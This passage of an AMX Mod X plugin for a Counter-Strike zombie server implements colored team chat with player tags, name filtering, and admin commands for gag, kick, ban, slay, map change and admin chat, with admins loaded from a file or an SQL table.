	if ( !is_user_connected ( id ) ) return FMRES_IGNORED;

	new NewName [32], OldName [32];

	get_user_name ( id, OldName, charsmax ( OldName ) )

	engfunc ( EngFunc_InfoKeyValue, Buffer, "name", NewName, charsmax ( NewName ) );

	if ( !equal ( OldName, NewName ) )
	{
		set_task ( 1.0, "TaskCheckName", id );

		set_task ( 0.1, "LoadPlayerTag", id );
	}

	return FMRES_IGNORED;
}

public TaskCheckName ( id )
{
	if ( is_user_connected ( id ) && !is_user_bot ( id ) && !is_user_hltv ( id ) )
	{
		static Name [32], i;

		get_user_name ( id, Name, charsmax ( Name ) );

		new HostName [64]; get_cvar_string ( "hostname", HostName, charsmax ( HostName ) );

		for ( i = 0; i < WordsCount; i ++ )
		{
			if ( containi ( Name, RestrictedNames [i] ) != -1 )
			{
				set_user_info ( id, "name", HostName );

				break;
			}
		}
	}
}

public CheckSay ( id )
{
	if ( !is_user_connected ( id ) ) return PLUGIN_HANDLED_MAIN;

	new Args [194]; read_args ( Args, charsmax ( Args ) )

	remove_quotes ( Args );

	for ( new i = 0; i < sizeof ( BlockTexts ); i ++ )
	{
		if ( containi ( Args, BlockTexts [i]) != -1 )

           	return PLUGIN_HANDLED;
    	}

	new iAlive = is_user_alive ( id );

	new CsTeams: iTeam = cs_get_user_team ( id );

	new iPlayers [32], iNum;

	get_players ( iPlayers, iNum );

	new Name [32]; get_user_name ( id, Name, charsmax ( Name ) );

	new const Prefixes [2] [CsTeams] [ ] =
	{
		{
		"^1*DEAD*^1 ",
		"^1*DEAD*^1 ",
		"^1*DEAD*^1 ",
			"^1*SPEC*^1 "
		},
		{
		"",
		"",
		"",
		""
		}
	};

	new Message [192];

	if ( PlayerHasTag [id] )

	formatex ( Message, charsmax ( Message ), "%s^4%s^3 %s^4 :^1 %s", Prefixes [iAlive] [iTeam], PlayerTag [id], Name, Args );

	else

	formatex ( Message, charsmax ( Message ), "%s^3%s^4 :^1  %s", Prefixes [iAlive] [iTeam], Name, Args );


	new iTarget;

	for( new i = 0; i < iNum; i ++ )
	{
		iTarget = iPlayers [i];

		if ( iTarget == id || ( iAlive || is_user_connected ( iTarget ) ) )
                  {
		  	switch ( get_user_team ( id ) )
			{
				case 1: client_print_color ( iTarget, print_team_red, Message );

				case 2: client_print_color ( iTarget, print_team_blue, Message );

				case 3: client_print_color ( iTarget, print_team_grey, Message );
			}
		}
	}

	return PLUGIN_HANDLED_MAIN;
}

public CheckSayTeam ( id )
{
	if ( !is_user_connected ( id ) ) return PLUGIN_HANDLED_MAIN;

	new Args [194]; read_args ( Args, charsmax ( Args ) )

	remove_quotes ( Args );

	for ( new i = 0; i < sizeof ( BlockTexts ); i ++ )
	{
		if ( containi ( Args, BlockTexts [i]) != -1 )

		return PLUGIN_HANDLED;
    	}

	new iAlive = is_user_alive ( id );

	new CsTeams: iTeam = CsTeams:( ( _:cs_get_user_team ( id ) ) % 3 );

	new iPlayers [32], iNum;

	get_players ( iPlayers, iNum );

	new Name [32]; get_user_name ( id, Name, charsmax ( Name ) );

	new const Prefixes [2] [CsTeams] [  ] =
	{
		{
			"^4(^1Spectator^4)^1 ",
			"^1*DEAD*^4 (^1Zombies^4)^1 ",
			"^1*DEAD*^4 (^1Humans^4)^1 ",
			""
		},
		{
			"^4(^1Spectator^4)^1 ",
			"^4(^1Zombies^4)^1 ",
			"^4(^1Humans^4)^1 ",
			""
		}
	};

	new Message [192];

	if ( PlayerHasTag [id])

		formatex ( Message, charsmax ( Message ), "%s^4%s ^3%s^4 :^1 %s", Prefixes [iAlive] [iTeam], PlayerTag [id], Name, Args );
	else
		formatex ( Message, charsmax ( Message ), "%s^3%s^4 :^1 %s", Prefixes [iAlive] [iTeam], Name, Args );


	for ( new i = 0, iTeamMate; i < iNum; i ++ )
	{
		iTeamMate = iPlayers [i];

		if ( iTeamMate == id || ( iAlive || is_user_connected ( iTeamMate ) ) && CsTeams:( ( _:cs_get_user_team ( iTeamMate ) ) % 3 ) == iTeam )
		{
			switch ( get_user_team ( id ) )
			{
				case 1: client_print_color ( iTeamMate, print_team_red, Message );

				case 2: client_print_color ( iTeamMate, print_team_blue, Message );

				case 3: client_print_color ( iTeamMate, print_team_grey, Message );
			}
		}
	}

	return PLUGIN_HANDLED_MAIN;
}

public cmdReloadTags ( id )
{
	if ( !( get_user_flags ( id ) & ADMIN_IMMUNITY & ADMIN_PASSWORD ) )

		return PLUGIN_CONTINUE;

	new Players [32], Num;

	get_players ( Players, Num, "c" );

	for ( new i = 0 ; i < Num ; i ++ )
	{
		PlayerHasTag [Players [i] ] = false;

		LoadPlayerTag ( Players [i] );
   	}

    	console_print ( id, "* Tags have been loaded successfully !" );

    	return PLUGIN_HANDLED;
}

public LoadPlayerTag ( id )
{
	PlayerHasTag[ id ] = false;

	new FileOpen = fopen ( File, "rt" );

	if ( !FileOpen ) return PLUGIN_CONTINUE;

	new Data [512], Buffer [2] [32];

	while ( !feof ( FileOpen ) )
 	{
   		fgets ( FileOpen, Data, charsmax ( Data ) );

   		if ( !Data [0] || Data [0] == ';' || ( Data [0] == '/' && Data [1] == '/' ) )

   		continue;

   		parse ( Data, Buffer [0], charsmax ( Buffer [ ] ), Buffer [1], charsmax ( Buffer [ ] ) )

   		new Name [32]; get_user_name ( id, Name, charsmax ( Name ) );

   		if ( equal ( Name, Buffer [0] ) )
   		{
			PlayerHasTag [id] = true;

			copy ( PlayerTag [id], charsmax ( PlayerTag [ ] ), Buffer [1] );

			break;
   		}
	}

        return PLUGIN_CONTINUE;
}

public CheckGag ( id )
{
	new Message [192]; read_args ( Message, charsmax ( Message ) );

	remove_quotes ( Message );

	if ( !UTIL_IsValidMessage ( Message ) ) return PLUGIN_HANDLED;

	if ( PlayerGagged  [id] == 1 )
	{
		PlayerGagged [id] = 1;

		client_print_color ( id, print_team_grey, "%s You are gagged now by^3 %s^1. Time Remaining:^4 %i^1 minute%s", CHAT_PREFIX, gName, PlayerGagTime [id], PlayerGagTime [id] == 1 ? "" : "s" );

		return PLUGIN_HANDLED;
	}

	return PLUGIN_CONTINUE;
}

public cmdGag ( id )
{
	if ( !( get_user_flags ( id ) & ADMIN_KICK ) ) return PLUGIN_HANDLED;

	if ( read_argc (  ) < 2 ) return PLUGIN_HANDLED;

	new Arg [32], Minutes [3];

	read_argv ( 1, Arg, charsmax ( Arg ) );

	read_argv ( 2, Minutes, charsmax ( Minutes ) );

	new Player = cmd_target ( id, Arg, CMDTARGET_ALLOW_SELF );

	if ( !Player ) return PLUGIN_HANDLED;

	new iMinutes = str_to_num ( Minutes );

	if ( PlayerGagged [Player] == 1 )
	{
		console_print ( id, "%s Player ^"%s^" has gagged now.", CONSOLE_PREFIX, GetInfo ( Player, INFO_NAME ) );

		return PLUGIN_HANDLED;
	}

	PlayerGagged [Player] = 1;

	PlayerGagTime [Player] = iMinutes;

	copy ( gName, charsmax ( gName ), GetInfo ( id, INFO_NAME ) );

	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 gag^3 %s^1", GetInfo ( id, INFO_NAME ), GetInfo ( Player, INFO_NAME ) );

	return PLUGIN_HANDLED;
}

public cmdUnGag ( id )
{
	if ( !( get_user_flags ( id ) & ADMIN_KICK ) ) return PLUGIN_HANDLED;

	if ( read_argc (  ) < 2 ) return PLUGIN_HANDLED;

	new Arg [32]; read_argv ( 1, Arg, charsmax ( Arg ) );

	new Player = cmd_target ( id, Arg, CMDTARGET_ALLOW_SELF );

	if ( !Player ) return PLUGIN_HANDLED;

	if ( PlayerGagged [Player] == 0 )
	{
		console_print ( id, "%s Player ^"%s^" not gagged.", CONSOLE_PREFIX, GetInfo ( Player, INFO_NAME ) );

		return PLUGIN_HANDLED;
	}


	PlayerGagged [Player] = 0;

	PlayerGagTime [Player] = 0;

	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 ungag^3 %s", GetInfo ( id, INFO_NAME ), GetInfo ( Player, INFO_NAME ))
	return PLUGIN_HANDLED;
}

public fwGagThinker ( iEntity )
{
	if ( pev_valid( iEntity ) )
	{
		set_pev( iEntity, pev_nextthink, get_gametime (  ) + 1.0 );

		new id;

		for ( id = 1; id <= MaxPlayers; id ++ )
		{
			if ( is_user_connected ( id ) && !is_user_bot ( id ) && PlayerGagged [id] == 1 && PlayerGagTime [id] > 0

			&& ( ( get_systime (  ) - JoinTime [id] ) >= 60 ) )
		         {
				JoinTime [id] = get_systime (  );

				PlayerGagTime [id] -= 1;

				if ( PlayerGagTime [id] <= 0 )
				{
					PlayerGagTime [id] = 0;

					PlayerGagged [id] = 0;

					client_print_color ( id, print_team_default, "%s You are ungagged now.", CHAT_PREFIX );
				}
			}
		}
	}
}

public cmdKick ( id )
{
	if ( !( get_user_flags ( id ) & ADMIN_KICK ) ) return PLUGIN_HANDLED;

	if ( read_argc (  ) < 2 )
	{
        console_print(id, "[Zombie Outstanding] Command usage is amx_kick <#userid or name> [reason]");
        return 1;
	}

	new Arg [32]; read_argv ( 1, Arg, charsmax ( Arg ) );

	new Player = cmd_target ( id, Arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF );

	if ( !Player ) return PLUGIN_HANDLED;

	new Reason [32]; read_argv ( 2, Reason, charsmax ( Reason ) );

	remove_quotes ( Reason );

	if ( is_user_bot ( Player ) )

		server_cmd ( "kick #%d  You are kicked!", get_user_userid ( Player ) );
	else
	{
		if ( Reason [0] )
		{

			server_cmd ( "kick #%d ^"%s^"", get_user_userid ( Player ), Reason );
		}
		else
		{
			server_cmd("kick #%d  You are kicked!", get_user_userid ( Player ) );
		}
	}

	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 kicked^4 %s^1 due to^3 %s", GetInfo ( id, INFO_NAME ), GetInfo ( Player, INFO_NAME ), Reason );

	console_print ( id, "%s Client ^"%s^" kicked", CONSOLE_PREFIX, GetInfo ( Player, INFO_NAME ) );

	return PLUGIN_HANDLED;
}

public cmdUnban ( id )
{
	if ( !( get_user_flags ( id ) & ADMIN_BAN ) ) return PLUGIN_HANDLED;

	if ( read_argc (  ) < 2 ) return PLUGIN_HANDLED;

	new Arg [32]; read_argv ( 1, Arg, charsmax ( Arg ) );

	if ( contain ( Arg, "." ) != -1 )
	{
		server_cmd ( "removeip ^"%s^";writeip", Arg )

		console_print ( id, "%s Ip ^"%s^" removed from ban list", CONSOLE_PREFIX, Arg );
	}
	else
	{
		server_cmd ( "removeid ^"%s^";writeid", Arg );

		console_print ( id, "%s Authid ^"%s^" removed from ban list", CONSOLE_PREFIX, Arg );
	}

	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 UnBan^4 %s^3", GetInfo ( id, INFO_NAME ), Arg );

	return PLUGIN_HANDLED;
}

public cmdAddBan ( id, level, cid )
{
	if ( !( get_user_flags ( id ) & ADMIN_BAN ) ) return PLUGIN_HANDLED;

	if ( read_argc (  ) < 3 )
	{
		console_print(id, "[Zombie Outstanding] Command usage is amx_addban <name> <ip> <time> <reason>");
		return 1
	}

	new Arg [32], Minutes [32], Reason [32];

	read_argv ( 1, Arg, charsmax ( Arg ) );

	read_argv ( 2, Minutes, charsmax ( Minutes ) );

	read_argv ( 3, Reason, charsmax ( Reason ) );

	trim ( Arg );

	if ( contain ( Arg, "." ) != -1 )
	{
		server_cmd ( "addip ^"%s^" ^"%s^";wait;writeip", Minutes, Arg );

		console_print ( id, "%s Ip ^"%s^" added to ban list", CONSOLE_PREFIX, Arg );
	}
	else
	{
		server_cmd ( "banid ^"%s^" ^"%s^";wait;writeid", Minutes, Arg );

		console_print ( id, "%s Authid ^"%s^" added to ban list", CONSOLE_PREFIX, Arg );
	}

	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 banned^4 %s^1 permanently due to^3 %s", GetInfo ( id, INFO_NAME ), Arg, Reason );

	return PLUGIN_HANDLED
}

public cmdBan ( id )
{
	if ( !( get_user_flags ( id ) & ADMIN_BAN ) ) return PLUGIN_HANDLED;

	if ( read_argc (  ) < 3 )
	{
        console_print(id, "[Zombie Outstanding] Command usage is amx_ban <#userid or name> <time> [reason]");
        return 1;
	}

	new Target [32], Minutes [8], Reason [64];

	read_argv ( 1, Target, charsmax ( Target ) );

	read_argv ( 2, Minutes, charsmax ( Minutes ) );

	read_argv ( 3, Reason, charsmax ( Reason ) );

	new Player = cmd_target ( id, Target, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF );

	if ( !Player ) return PLUGIN_HANDLED;

	new nNum = str_to_num ( Minutes );

	if ( nNum < 0 )
	{
		nNum = 0;

		Minutes = "0";
	}

	new Temp [64], Banned [16];

	if ( nNum )

		format ( Temp, charsmax ( Temp ), "for %s min", Minutes );
	else
		format ( Temp, charsmax ( Temp ), "permanently" );

	format ( Banned, charsmax ( Banned ), "Banned" );

	if ( Reason [0] )
	{
		server_cmd ( "kick #%d ^"%s (%s %s)^";wait;addip ^"%s^" ^"%s^";wait;writeip", get_user_userid ( Player ), Reason, Banned, Temp, Minutes, GetInfo ( Player, INFO_IP ) );
	}
	else
	{
		server_cmd ( "kick #%d ^"%s %s^";wait;addip ^"%s^" ^"%s^";wait;writeip", get_user_userid ( Player ), Banned, Temp, Minutes, GetInfo ( Player, INFO_IP ) );
	}

	if ( nNum )

	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 banned^4 %s^1 for^3 %s^1 minutes due to^3 %s", GetInfo ( id, INFO_NAME ), GetInfo ( id, INFO_AUTHID ), nNum, nNum == 1 ? "" : "s" );

	else

	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 banned^4 %s^1 permanently due to^3 %s", GetInfo ( id, INFO_NAME ), GetInfo ( id, INFO_AUTHID ), Reason );

	console_print ( id, "%s Client ^"%s^" banned", CONSOLE_PREFIX, GetInfo ( Player, INFO_NAME ) );

	return PLUGIN_HANDLED;
}

public cmdSlay ( id )
{
	if ( !( get_user_flags ( id ) & ADMIN_SLAY ) ) return PLUGIN_HANDLED;

	if ( read_argc (  ) < 2 )
	{
        console_print(id, "[Zombie Outstanding] Command usage is amx_slay <#userid or name>");
        return 1;
	}

	new Arg [32]; read_argv ( 1, Arg, charsmax ( Arg ) );

	new Player = cmd_target ( id, Arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF | CMDTARGET_ONLY_ALIVE );

	if ( !Player ) return PLUGIN_HANDLED

	user_kill ( Player );

	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^4 %s^1 slayed^4 %s", GetInfo ( id, INFO_NAME ), GetInfo ( Player, INFO_NAME ) );

	console_print ( id, "%s Client ^"%s^" slayed", CONSOLE_PREFIX, GetInfo ( Player, INFO_NAME ) );

	return PLUGIN_HANDLED;
}

public cmdSlap ( id )
{
	if ( !( get_user_flags ( id ) & ADMIN_SLAY ) ) return PLUGIN_HANDLED;

	if ( read_argc (  ) < 2 ) return PLUGIN_HANDLED;

	new Arg [32]; read_argv ( 1, Arg, charsmax ( Arg ) );

	new Player = cmd_target ( id, Arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF | CMDTARGET_ONLY_ALIVE );

	if ( !Player ) return PLUGIN_HANDLED;

	user_slap ( Player, 0 );

	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 slap^3 %s", GetInfo ( id, INFO_NAME ), GetInfo ( Player, INFO_NAME ) );

	console_print ( id, "%s Client ^"%s^" slaped", CONSOLE_PREFIX, GetInfo ( Player, INFO_NAME ) );

	return PLUGIN_HANDLED;
}

public ChangeMap ( Map [ ] ) server_cmd ( "changelevel %s", Map );

public cmdSayChat(id)
{
	if ( !( get_user_flags ( id ) & ADMIN_SLAY ) ) return PLUGIN_HANDLED;

	if ( read_argc (  ) < 2 ) return PLUGIN_HANDLED;

	new said[6], i = 0
	read_argv(1, said, 5)

	while (said[i] == '@')
	{
		i++
	}

	if (!i || i > 3)
	{
		return PLUGIN_CONTINUE
	}

	new message[192], a = 0
	read_args(message, 191)
	remove_quotes(message)

	switch (said[i])
	{
		case 'r': a = 1
		case 'g': a = 2
		case 'b': a = 3
		case 'y': a = 4
		case 'm': a = 5
		case 'c': a = 6
		case 'o': a = 7
	}

	new n, s = i
	if (a)
	{
		n++
		s++
	}
	while (said[s] && isspace(said[s]))
	{
		n++
		s++
	}


	new name[32], authid[32], userid

	get_user_authid(id, authid, 31)
	get_user_name(id, name, 31)
	userid = get_user_userid(id)

	log_amx("Chat: ^"%s<%d><%s><>^" tsay ^"%s^"", name, userid, authid, message[i + n])
	log_message("^"%s<%d><%s><>^" triggered ^"amx_tsay^" (text ^"%s^") (color ^"%L^")", name, userid, authid, message[i + n], "en", g_Colors[a])

	if (++g_msgChannel > 6 || g_msgChannel < 3)
	{
		g_msgChannel = 3
	}

	new Float:verpos = g_Pos[i][1] + float(g_msgChannel) / 35.0

	set_hudmessage(g_Values[a][0], g_Values[a][1], g_Values[a][2], g_Pos[i][0], verpos, 0, 6.0, 6.0, 0.5, 0.15, -1)

	switch ( get_pcvar_num(amx_show_activity) )
	{
		case 3, 4:
		{
			new maxpl = get_maxplayers();
			for (new pl = 1; pl <= maxpl; pl++)
			{
				if (is_user_connected(pl) && !is_user_bot(pl))
				{
					if (is_user_admin(pl))
					{
						show_hudmessage(pl, "%s :   %s", name, message[i + n])
						client_print(pl, print_notify, "%s :   %s", name, message[i + n])
					}
					else
					{
						show_hudmessage(pl, "%s", message[i + n])
						client_print(pl, print_notify, "%s", message[i + n])
					}
				}
			}
		}
		case 2:
		{
			show_hudmessage(0, "%s :   %s", name, message[i + n])
			client_print(0, print_notify, "%s :   %s", name, message[i + n])
		}
		default:
		{
			show_hudmessage(0, "%s", message[i + n])
			client_print(0, print_notify, "%s", message[i + n])
		}
	}

	return PLUGIN_HANDLED
}

public cmdMap ( id )
{
	if ( !( get_user_flags ( id ) & ADMIN_SLAY ) ) return PLUGIN_HANDLED;

	if ( read_argc (  ) < 2 ) return PLUGIN_HANDLED;

	new Arg [32], ArgLen = read_argv ( 1, Arg, charsmax ( Arg ) );

	if ( !is_map_valid ( Arg ) )
	{
		console_print ( id, "%s Map ^"%s^" is not valid!", CONSOLE_PREFIX, Arg );

		return PLUGIN_HANDLED;
	}

	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 changed map to^4 %s", GetInfo ( id, INFO_NAME ), Arg );

	new ModName [10]; get_modname ( ModName, charsmax ( ModName ) )

	if ( !equal ( ModName, "zp" ) )
	{
		message_begin ( MSG_ALL, SVC_INTERMISSION );

		message_end (  );
	}

	set_task ( 2.0, "ChangeMap", 0, Arg, ArgLen + 1 );

	return PLUGIN_HANDLED;
}

public cmdNick ( id )
{
	if ( !( get_user_flags ( id ) & ADMIN_LEVEL_H ) ) return PLUGIN_HANDLED;

	if ( read_argc (  ) < 3 ) return PLUGIN_HANDLED;

	new Arg_01 [32], Arg_02 [32];

	read_argv ( 1, Arg_01, charsmax ( Arg_01 ) );

	read_argv ( 2, Arg_02, charsmax ( Arg_02 ) );

	new Player = cmd_target ( id, Arg_01, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF );

	if ( !Player ) return PLUGIN_HANDLED;

	set_user_info ( Player, "name", Arg_02 );

	client_cmd ( Player, "name ^"%s^"", Arg_02 );

	client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^1 Admin^3 %s^1 Change nick of^3 %s^1 to^4 %s", GetInfo ( id, INFO_NAME ), GetInfo ( Player, INFO_NAME ), Arg_02 );

	console_print ( id, "%s Changed nick of ^"%s^" to ^"%s^"", GetInfo ( Player, INFO_NAME ), Arg_02 );

	return PLUGIN_HANDLED;
}

public cmdIp ( id )
{
	if ( !( get_user_flags ( id ) & ADMIN_LEVEL_H ) ) return PLUGIN_HANDLED;

	if ( read_argc (  ) < 2 ) return PLUGIN_HANDLED;

	new Arg [32]; read_argv ( 1, Arg, charsmax ( Arg ) );

	new Player = cmd_target ( id, Arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF );

	if ( !Player ) return PLUGIN_HANDLED;

	console_print ( id, "%s - Nick: %s | Ip: %s", CONSOLE_PREFIX, GetInfo (Player, INFO_NAME ), GetInfo ( Player, INFO_IP ) );

	return PLUGIN_HANDLED;
}

public cmdSay ( id )
{
	if ( !(get_user_flags ( id ) & ADMIN_CHAT ) ) return PLUGIN_HANDLED;

	if ( read_argc (  ) < 2 ) return PLUGIN_HANDLED;

	new Message [192]; read_args ( Message, charsmax ( Message ) );

	remove_quotes ( Message );

	client_print_color ( 0, print_team_grey, "^1*^3 ALL^1 *^4 %s^3 :^1 %s", GetInfo ( id, INFO_NAME ), Message );

	console_print ( id, "* ALL * %s : %s", GetInfo ( id, INFO_NAME ), Message );

	log_amx ( "Chat: ^"%s (%s)^" say ^"%s^"", GetInfo ( id, INFO_NAME ), GetInfo ( id, INFO_AUTHID ), Message );

	log_message ( "^"%s (%s)^" triggered ^"amx_say^" (text ^"%s^")", GetInfo ( id, INFO_NAME ), GetInfo ( id, INFO_AUTHID ), Message );

	return PLUGIN_HANDLED;
}

public cmdPsay ( id )
{
	if ( !( get_user_flags ( id ) & ADMIN_CHAT ) ) return PLUGIN_HANDLED;

	if ( read_argc (  ) < 2 ) return PLUGIN_HANDLED;

	new Arg [32]; read_argv ( 1, Arg, charsmax ( Arg ) );

	new Priv = cmd_target ( id, Arg, 0 );

	if ( !Priv ) return PLUGIN_HANDLED;

	new Length = strlen ( Arg ) + 1;

	new Message [192]; read_args ( Message, charsmax ( Message ) );

	if ( Message [0] == '"' && Message [Length] == '"' )
	{
		Message [0] = ' ';

		Message [Length] = ' ';

		Length += 2;
	}

	remove_quotes ( Message [Length] );

	if ( id && id != Priv )

	client_print_color ( id, print_team_grey, "^1(^3%s^1)^4 %s^3 :^1 %s", GetInfo ( Priv, INFO_NAME ), GetInfo ( id, INFO_NAME ), Message [Length] );

	client_print_color ( id, print_team_grey, "^1(^3%s^1)^4 %s^3 :^1 %s", GetInfo ( Priv, INFO_NAME ), GetInfo ( id, INFO_NAME ), Message [Length] );

	console_print ( id, "(%s) %s : %s", GetInfo ( Priv, INFO_NAME ), GetInfo ( id, INFO_NAME ), Message [Length] );

	log_message ( "^"%s (%s)^" triggered ^"amx_psay^" against ^"%s (%s)^" (text ^"%s^")", GetInfo ( id, INFO_NAME ), GetInfo ( id, INFO_AUTHID ), GetInfo ( Priv, INFO_NAME ), GetInfo ( Priv, INFO_AUTHID ), Message [Length] );

	return PLUGIN_HANDLED;
}

public cmdTsay ( id )
{
	if ( !( get_user_flags ( id ) & ADMIN_CHAT ) ) return PLUGIN_HANDLED;

	if ( read_argc (  ) < 2 ) return PLUGIN_HANDLED;

	new Message [192]; read_args ( Message, charsmax ( Message ) );

	remove_quotes ( Message );

	new Length = 0;

	if ( ++ MsgChannel > 6 || MsgChannel < 3 )

		MsgChannel = 3;

	new Float: VerPos = ( 0.40 ) + float ( MsgChannel ) / 35.0

	set_hudmessage ( 255, 255, 255, 0.01, VerPos, 0, 6.0, 6.0, 0.5, 0.15, -1 );

	show_hudmessage ( 0, "%s : %s", GetInfo ( id, INFO_NAME ), Message [Length] )

	client_print ( 0, print_notify, "%s : %s", GetInfo ( id, INFO_NAME ), Message [Length] );

	console_print ( id, "%s : %s", GetInfo ( id, INFO_NAME ), Message [Length] );

	log_message ( "^"%s (%s)^" triggered ^"amx_tsay^" (text ^"%s^")", GetInfo ( id, INFO_NAME ), GetInfo ( id, INFO_AUTHID ), Message [Length] );

	return PLUGIN_HANDLED;
}

public cmdSayAdmin ( id )
{
	if ( read_argc (  ) < 2 ) return PLUGIN_HANDLED;

	new Said [2]; read_argv ( 1, Said, charsmax ( Said ) );

	if ( Said [0] != '@' ) return PLUGIN_CONTINUE;

	new Message [192]; read_args ( Message, charsmax ( Message ) );

	remove_quotes ( Message );

	new Players [32], Num;

	log_message ("^"%s (%s)^" triggered ^"amx_chat^" (text ^"%s^")", GetInfo ( id, INFO_NAME ), GetInfo ( id, INFO_AUTHID ), Message [1] );

	if ( is_user_admin ( id ) )

		format ( Message, charsmax ( Message ), "^1*^3 ADMIN^1 *^4 %s^3 :^1 %s", GetInfo ( id, INFO_NAME ), Message [1] );
	else
		format ( Message, charsmax ( Message ), "^1*^3 PLAYER^1 *^4 %s^3 :^1 %s", GetInfo ( id, INFO_NAME ), Message [1] );

	get_players ( Players, Num );

	for ( new i = 0; i < Num; ++ i )
	{
		if ( Players [i] != id && get_user_flags ( Players [i] ) & ADMIN_CHAT )

		client_print_color ( Players [i], print_team_grey, "%s", Message );
	}

	client_print_color ( id, print_team_grey, "%s", Message );

	return PLUGIN_HANDLED;
}

public cmdChat ( id )
{
	if ( !( get_user_flags ( id ) & ADMIN_CHAT ) ) return PLUGIN_HANDLED;

	if ( read_argc (  ) < 2 ) return PLUGIN_HANDLED;

	new Message [192];

	new Players [32], Num;

	read_args ( Message, charsmax ( Message ) );

	remove_quotes ( Message );

	log_message ( "^"%s (%s)^" triggered ^"amx_chat^" (text ^"%s^")", GetInfo ( id, INFO_NAME ), GetInfo ( id, INFO_AUTHID ), Message );

	format ( Message, charsmax ( Message ), "^1*^3 ADMIN^1 *^4 %s^3 :^1 %s", GetInfo ( id, INFO_NAME ), Message );

	console_print ( id, "(ADMIN) %s : %s", GetInfo ( id, INFO_NAME ), Message );

	get_players ( Players, Num );

	for ( new i = 0; i < Num; ++ i )
	{
		if ( access ( Players [i], ADMIN_CHAT ) )

		client_print_color ( Players [i], print_team_grey, "%s", Message );
	}

	return PLUGIN_HANDLED;
}

public client_connect ( id ) CaseSensitiveName [id] = false;

AdminsLoadSettings ( FileName [ ] )
{
	new File = fopen ( FileName, "r" );

	if ( File )
	{
		new Text [512], Flags [32], Access [32], AuthData [44], Password [32];

		while ( !feof ( File ) )
		{
			fgets ( File, Text, charsmax ( Text ) );

			trim ( Text );

			if (Text[0]==';') continue;

			Flags [0] = 0;
			Access [0] = 0;
			AuthData [0] = 0;
			Password [0] = 0;

			if ( parse ( Text, AuthData, charsmax ( AuthData ), Password, charsmax ( Password ), Access, charsmax ( Access ),Flags, charsmax ( Flags ) ) < 2 )

				continue;


			admins_push ( AuthData, Password, read_flags ( Access ), read_flags ( Flags ) );

			AdminCount ++;
		}

		fclose ( File );
	}

	return PLUGIN_HANDLED;
}

#if defined USING_SQL
public adminSql (  )
{
	new Table [32], Error [128], Type [12], Errno

	new Handle: info = SQL_MakeStdTuple (  );

	new Handle: sql = SQL_Connect ( info, Errno, Error, charsmax ( Error ) );

	get_cvar_string ( "amx_sql_table", Table, charsmax ( Table ) );

	SQL_GetAffinity ( Type, charsmax ( Type ) );

	if ( sql == Empty_Handle )
	{
		server_print ( "%s SQL error: can't connect: '%s'", CONSOLE_PREFIX, Error );

		new Director [64]; get_configsdir ( Director, charsmax ( Director ) );

		format ( Director, charsmax ( Director ), "%s/%s", Director, ADMINS_FILE_NAME );

		AdminsLoadSettings ( Director );

		return PLUGIN_HANDLED;
	}

	new Handle: query;

	if ( equali ( Type, "sqlite" ) )
	{
		if ( !sqlite_TableExists ( sql, Table ) )
		{
			SQL_QueryAndIgnore ( sql, "CREATE TABLE %s ( auth TEXT NOT NULL DEFAULT '', password TEXT NOT NULL DEFAULT '', access TEXT NOT NULL DEFAULT '', flags TEXT NOT NULL DEFAULT '' )", Table );
		}

		query = SQL_PrepareQuery ( sql, "SELECT auth, password, access, flags FROM %s", Table );
	}
	else
	{
		SQL_QueryAndIgnore ( sql, "CREATE TABLE IF NOT EXISTS `%s` ( `auth` VARCHAR( 32 ) NOT NULL, `password` VARCHAR( 32 ) NOT NULL, `access` VARCHAR( 32 ) NOT NULL, `flags` VARCHAR( 32 ) NOT NULL ) COMMENT = 'AMX Mod X Admins'", Table );

		query = SQL_PrepareQuery ( sql,"SELECT `auth`,`password`,`access`,`flags` FROM `%s`", Table );
	}

	if ( !SQL_Execute ( query ) )
	{
		SQL_QueryError ( query, Error, charsmax ( Error ) )

		server_print ( "%s SQL error: can't load admins: '%s'", CONSOLE_PREFIX, Error );
	}
	else if (! SQL_NumResults ( query ) )
	{
		server_print ( "%s No admins found.", CONSOLE_PREFIX );
	}
	else
	{
		AdminCount = 0

		new qcolAuth = SQL_FieldNameToNum ( query, "auth" );
		new qcolPass = SQL_FieldNameToNum ( query, "password" );
		new qcolAccess = SQL_FieldNameToNum ( query, "access" );
		new qcolFlags = SQL_FieldNameToNum ( query, "flags" );

		new AuthData [44], Password [44], Access [32], Flags [32];

		while ( SQL_MoreResults ( query ) )
		{
			SQL_ReadResult ( query, qcolAuth, AuthData, charsmax ( AuthData ) );
			SQL_ReadResult ( query, qcolPass, Password, charsmax ( Password ) );
			SQL_ReadResult ( query, qcolAccess, Access, charsmax ( Access ) );
			SQL_ReadResult ( query, qcolFlags, Flags, charsmax ( Flags ) );

			admins_push ( AuthData, Password, read_flags ( Access ), read_flags ( Flags ) );

			++ AdminCount;

			SQL_NextRow ( query );
		}

		server_print ( "%s Loaded %d admin%s from database !", CONSOLE_PREFIX, AdminCount == 1 ? "1" : AdminCount, AdminCount == 1 ? "" : "s" );

		SQL_FreeHandle ( query );
		SQL_FreeHandle ( sql );
		SQL_FreeHandle ( info );
	}

	return PLUGIN_HANDLED;
}
#endif

public cmdReload ( id )
{
	if ( !( get_user_flags ( id ) & ADMIN_IMMUNITY & ADMIN_PASSWORD ) )

	remove_user_flags ( 0, read_flags ( "z" ) );

	admins_flush (  );

